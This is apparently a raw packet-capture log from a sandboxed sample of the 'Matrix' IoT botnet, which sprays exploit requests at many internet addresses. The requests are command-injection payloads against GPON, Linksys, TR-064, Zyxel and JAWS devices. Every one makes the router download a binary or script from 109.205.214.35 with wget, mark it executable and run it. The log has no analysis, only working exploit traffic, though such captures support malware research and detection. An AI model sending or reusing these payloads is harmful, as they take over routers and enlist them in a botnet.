XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
747	192.168.2.23	46924	109.94.223.102	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:48.165011883 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
748	192.168.2.23	59712	184.91.174.220	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:48.361835957 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:48.806963921 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:48.966017008 CET	339	IN	HTTP/1.1 400 Bad Request Server: nginx/1.24.0 (Ubuntu) Date: Thu, 21 Mar 2024 04:17:48 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.24.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
749	192.168.2.23	43748	172.65.70.88	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:48.541645050 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
750	192.168.2.23	47848	95.86.75.154	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:49.679111958 CET	430	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
751	192.168.2.23	38240	69.72.116.104	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:49.687298059 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:49.812846899 CET	238	IN	HTTP/1.1 401 Unauthorized Content-Length: 0 Connection: close WWW-Authenticate: Digest realm="realm@easycwmp",qop="auth",nonce="d093c1199e731fc2fb2d679e6170a59200086259",opaque="328458fab28345ae87ab3210a8513b14eff452a2"

Session ID	Source IP	Source Port	Destination IP	Destination Port
752	192.168.2.23	56562	34.49.164.150	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:49.769593000 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
753	192.168.2.23	38254	69.72.116.104	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:49.815552950 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:49.979084969 CET	238	IN	HTTP/1.1 401 Unauthorized Content-Length: 0 Connection: close WWW-Authenticate: Digest realm="realm@easycwmp",qop="auth",nonce="d093c1199e731fc2fb2d679e6170a59200086259",opaque="328458fab28345ae87ab3210a8513b14eff452a2"

Session ID	Source IP	Source Port	Destination IP	Destination Port
754	192.168.2.23	47446	45.223.246.34	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:49.828043938 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
755	192.168.2.23	53672	47.156.229.77	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:49.989573956 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:50.906084061 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
756	192.168.2.23	47424	86.120.194.166	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:50.597677946 CET	423	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:17:50.811239958 CET	169	IN	HTTP/1.1 404 Not Found Server: Httpd Cache-Control: no-cache Connection: Close Date: Thu, 21 Mar 2024 05:58:08 GMT Content-Length: 135 Content-Type: text/html
Mar 21, 2024 05:17:50.811253071 CET	135	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 48 54 54 50 2f 31 2e 31 20 34 30 34 3c 62 72 3e 54 68 65 20 72 65 71 Data Ascii: <html><head><title>Not Found</title></head><body>HTTP/1.1 404<br>The requested resource is not available.</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
757	192.168.2.23	37028	68.183.161.25	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:50.934211969 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:51.834194899 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:52.026061058 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.23.1 Date: Thu, 21 Mar 2024 04:17:51 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 33 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.23.1</center></body></html>
Mar 21, 2024 05:17:52.864427090 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.23.1 Date: Thu, 21 Mar 2024 04:17:51 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 33 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.23.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
758	192.168.2.23	41752	79.48.195.29	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:51.171652079 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
759	192.168.2.23	48426	178.144.18.144	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:51.171719074 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
760	192.168.2.23	34280	212.12.109.164	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:51.171751976 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
761	192.168.2.23	43876	94.234.145.114	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:51.172993898 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
762	192.168.2.23	39258	5.167.52.187	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:51.173069954 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
763	192.168.2.23	48642	109.239.35.218	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:51.173095942 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
764	192.168.2.23	48622	98.98.28.93	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:51.371663094 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
765	192.168.2.23	48526	200.234.162.193	80

Timestamp	Bytes transferred	Direction	Data
